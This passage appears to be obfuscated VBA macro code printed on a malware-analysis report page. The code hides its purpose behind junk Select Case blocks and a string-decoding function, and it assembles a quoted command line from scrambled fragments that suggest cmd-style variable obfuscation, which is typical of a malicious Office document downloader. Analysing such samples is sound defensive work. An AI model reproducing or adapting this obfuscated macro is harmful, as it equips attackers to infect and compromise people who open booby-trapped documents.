kudwUm = ZMZGCN
Case 16297
QQwlma = Rnd(TZaKH)
jfbRiz = Cos(MjrYZU)
End Select
Bnswr = jhluPR("4E5F4UGAyAQNAMDAzAQYAIGAzX", 2 + 0, 20 + 0)
Select Case hGvfzd
Case 29749
jvFTFL = ChrB(EYKiKq)
zpXQLO = YXMRus
Case 25421
uLiTrw = Rnd(MKrlmc)
OuKoz = Cos(GHjRA)
End Select
Select Case qGDFQ
Case 87603
nQdNu = ChrB(QUtljt)
NdtQww = GvbPhT
Case 81737
lVtoV = Rnd(HnvvI)
GSicSQ = Cos(qNMnG)
End Select
iCiETiPT = jhluPR("5JjpA7A4AwMAADAlBgYAkDAjBwMAIGAxAwMAIDA3AAOAIGAmBQOAIDAjBwMAIGA2AwYAIGj", 2 + 0, 64 + 0)
Select Case AQroO
Case 62018
CwjYrs = ChrB(nFqzU)
BmnQwz = BAGYi
Case 74190
UnQwh = Rnd(huJiG)
ZsikWO = Cos(QQOdb)
End Select
Select Case sWEKCO
Case 92234
lYhZI = ChrB(HNVow)
pntwAH = wbrVt
Case 45043
JPBrY = Rnd(UiEcB)
wvGzL = Cos(lhuEc)
End Select
vlYpDkZm = jhluPR(".ZX7FCGA0AgYAQGAlBAZAgA", 2 + 0, 16 + 0)
Select Case JuHzs
Case 89665
nBCvr = ChrB(dPcSL)
RvbKMp = fPIpMF
Case 75329
hdNUlJ = Rnd(OXuzP)
hqIPiV = Cos(MikvK)
End Select
Select Case PZMUF
Case 16414
nKATZ = ChrB(ZAdYFY)
CihoMz = ERMjmI
Case 60136
wEtYd = Rnd(SRkdTN)
DBjqT = Cos(BjrYI)
End Select
LpcwCMsiM = jhluPR("NI%jzj7ADA1AgZAUDAyAAMAMDAyAANAADAmBQZAQDA2AQMAgDA1AQMAO", 2 + 0, 48 + 0)
Select Case fRWzR
Case 63422
EEEYf = ChrB(vBjRzK)
kOAPfs = pioEj
Case 71277
wZwUS = Rnd(CJKzcB)
YRRPu = Cos(PXQQG)
End Select
Select Case CXpTh
Case 66086
tSzvV = ChrB(VQCQZV)
KLiUM = jZfUK
Case 8984
NSPBw = Rnd(ijvGa)
tXdciO = Cos(WCrqoU)
End Select
ZKXThqXjJPc = jhluPR("5M9AZAYGA2AgMAcDA0AQOAMGA0AgMAYDA5AAMAMDA5AANAMDA3AQOAIGAzAANAQDAxAQYAIDAyAQOAUGAxAAZAMGAxAAOAMDA5AwMAgDA3AgMAYDA5AwMAkDA2AQMAIDA1AAZAMGAyAQMAADAkBQZ0mX", 4 + 0, 146 + 0)
Select Case JChOz
Case 74931
QhCABS = ChrB(qWOEH)
TADwwG = iBVbb
Case 62369
KcChIo = Rnd(dqachw)
fjcljd = Cos(JzkSqR)
End Select
Select Case owlIz
Case 99243
jHAHCL = ChrB(rXTMMX)
AwjKdM = tUVrz
Case 2517
iUmVmz = Rnd(OsdAGr)
FJSRu = Cos(ozEwU)
End Select
jhoVri = jhluPR("iUA%AyAwMAcDAjBgNAUGA3AQOAEDAyAQNAQDAhBgNAE5", 3 + 0, 38 + 0)
Select Case RmmiPE
Case 20396
IDhraZ = ChrB(lEDJW)
KnLDa = vCjPn
Case 1618
jzcNOv = Rnd(zwCbbr)
uDvBo = Cos(TGwaap)
End Select
BwPkCJQdP = anHLsVCtbss + PrZntqb + QlcPmZDor + Chr(34) + NJqpOaWOljcjh + LKiGcv + mULrHWMmN + FliLLMdziv + hfbMYzBlU + ATwBwiRK + nqrfFM + kzrjdIb + sdDKX + HCRqFZSQJ + vlYpDkZm + MiSDlLrNLM + jhoVri + RronIfzkj + sqDCjza + LpcwCMsiM + wSajvE + kHXuj + jTGqkwN + nfHJtOXc + oYBISaAVCiC + ZKXThqXjJPc + ANHfhAKz + ntlWPCEBdLW + MBWmQMR + iCiETiPT + wRjvsDlY + pBvvL + NHGXohlEY + YbrPiri + WZBzO + EwsGTJGi + zqpOihYvf + dYzlwVwmD + bDuQnY + NtiNTQrWj + LjQdGDkB + oizjqW + Bnswr + sBVTz + mZcMpLETYJ + JVjIDbPYNY + UOCLZaiucUX + GMUJjU + mhCzNZVA + dfQudfkWDuj + mAfsnG + hNAozlBi
Select Case znOzD
Case 60900
zBmYt = ChrB(FWOikP)
htELaX = sNqwGU
Case 28437
lZtnvU = Rnd(HDQUu)
sWBrT = Cos(SFiCZ)
End Select
End Function
Attribute VB_Name = "MncwPzvc"
Function QlcPmZDor()
On Error Resume Next
Select Case JQjCY
Case 71203
QjbQIV = ChrB(EwpizQ)
pzfaS = ppjdQ
Case 88020
fYhmj = Rnd(iUMHV)
fpzrk = Cos(tDIUS)
End Select
DbQwcPsVz = jhluPR("vC5%QzDHurGETp5z5uIn54a", 6 + 0, 9 + 0)
Select Case bFUFa
Case 95825
AOBIfP = ChrB(vnipc)
KBmbqz = aWqLKG
Case 57186
irctO = Rnd(VKihT)
hIFVSs = Cos(uaSsPd)
End Select
Select Case WnfiA
Case 3078
UHjji = ChrB(sEzpim)
WqjEH = rmRfFf
Case 7724
aqRXID = Rnd(YYRMSV)
Ginznw = Cos(fHaWWK)
End Select
jwtuGvaKwfj = jhluPR("L.h te5uIn54a&&w^o=%PdQJ.5chF%", 7 + 0, 15 + 0)
Select Case CcbBa
Case 71979
NjSVj = ChrB(zRPsp)
QjnrF = FOujrB
Case 73357
iVwpKr = Rnd(IszUdE)
lOrhjN = Cos(iPkVKU)
End Select
Select Case ZIlkMG
Case 62192
ZcWSvb = ChrB(GjWbnk)
SHbRT = uLzkaC
Case 24470
LZfXp = Rnd(fFEtZ)
EMwCnj = Cos(NqdJu)
End Select
htOVLSqUK = jhluPR("%HkpfzA%iW%", 2 + 0, 3 + 0)
Select Case nEOcls
Case 86700
FuJqE = ChrB(ajMDir)
ohMzz = zzjiQk
Case 71840
FRcSB = Rnd(jwSoLj)
cjdZaD = Cos(wXBfo)
End Select
Select Case NBJUv
Case 81346
uamDFR = ChrB(XDDsi)
vXSHh = TNsAB
Case 28036
OIuMhH = Rnd(JzKMjB)
HtNEj = Cos(jdqjCn)
End Select
GWbpJ = jhluPR("pXcG5e5uIn54a&&5uIn54a=%kZmGhB9J", 5 + 0, 11 + 0)
Select Case XbBalo
Case 58402
IdqWk = ChrB(IzMFY)
ELTfvR = ukSKK
Case 89088
Khvkbu = Rnd(IzQWi)
wXfddi = Cos(aLIWi)
End Select
Select Case BFSGc
Case 26960
bnijm = ChrB(wUMoH)
ZdIMr = iOuBf
Case 55167
fZwzuK = Rnd(oolOC)
DltiP = Cos(Pnvbtt)
End Select
mNnDziji = jhluPR("7a74%!=%cChfprKiXUw% tH.%IU", 6 + 0, 18 + 0)
Select Case ptzfaH
Case 10896
GvAURi = ChrB(ilsuJY)
zVMlz = FkwEF
Case 38889
fpILG = Rnd(jwptNw)
jJKjz = Cos(CbvdSo)
End Select
Select Case iAmAE
Case 53522
MswHkv = ChrB(WWjuN)
JGFVfI = vrUQRQ
Case 46804
SOPGJ = Rnd(WzuYd)
QPoLN = Cos(QGXuQU)
End Select
YbAMwqlQRn = jhluPR("BEpwz!%mU9p", 5 + 0, 2 + 0)
Select Case jwUYip
Case 39213
oDHQn = ChrB(XmJLz)
jbfDI = lARwY
Case 97461
LZHBZL = Rnd(JCcMju)
csTOiS = Cos(LIQQP)
End Select
Select Case iKfPFG
Case 54799
WHtrH = ChrB(idpfqv)
XlDhDP = XuwKu
Case 24186
kjsAj = Rnd(rEEiJ)
pCZuh = Cos(DIGZbi)
End Select
HzjnJMmRz = jhluPR("ilAv%!%iiz", 5 + 0, 2 + 0)
Select Case rKibL
Case 68799
vGzwzf = ChrB(vpTjY)
kZPzz = OqDRL
Case 10241
wrpMd = Rnd(vNXiFd)
CoITns = Cos(KQRuj)
End Select
Select Case ishNd
Case 98538
zKTbNd = ChrB(ZjwwWX)
tvIOVw = dsijs
Case 92251
OcGLoU = Rnd(zcNdaV)
MsjVT = Cos(lzYwI)
End Select
jEELdvloFJi = jhluPR("hWifvLBjnpJACUTw% te5uIn54a&&.", 2 + 0, 18 + 0)
Select Case GWSpv
Case 41079
oKHrni = ChrB(utSvl)
bQQAvL = fHQDI
Case 6131
NShnSH = Rnd(jwFBwm)
VsidN = Cos(bqFSt)
End Select
Select Case QkmZKb
Case 56932
RwzWX = ChrB(hvZcR)
HihNF = FlGnl
Case 12336
FbhVDi = Rnd(JSwBm)
vHNUi = Cos(WjblC)
End Select
PpklAfzVjK = jhluPR("vMYHvjPCmCbaGAi", 5 + 0, 9 + 0)
Select Case UtWrt
Case 58985
tuSZA = ChrB(Wwwtoi)
bhWzYl = fkvdp
Case 58920
jkvRYS = Rnd(tddhNu)
HXnnD = Cos(wmXZT)
End Select
Select Case aWfsw
Case 37243
YhOjNp = ChrB(NFoppz)
kjtoiW = GSIZr
Case 78740
IaDtfw = Rnd(wcPToB)
WJjPS = Cos(pplEOw)
End Select
kCvRLH = jhluPR("q7&eh=%iWFwTzn5uIn54aHfPvFl69", 5 + 0, 17 + 0)
Select Case SPFKVA
Case 14411
flvKA = ChrB(lEdUtV)
jIZKZ = BTpwii
Case 30774
iWFzo = Rnd(FrYnER)
ElHjV = Cos(cjHjAw)
End Select
Select Case bLvizD
Case 88418
KwEtJ = ChrB(hiRvP)
HiHaK = pwNwB
Case 48640
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.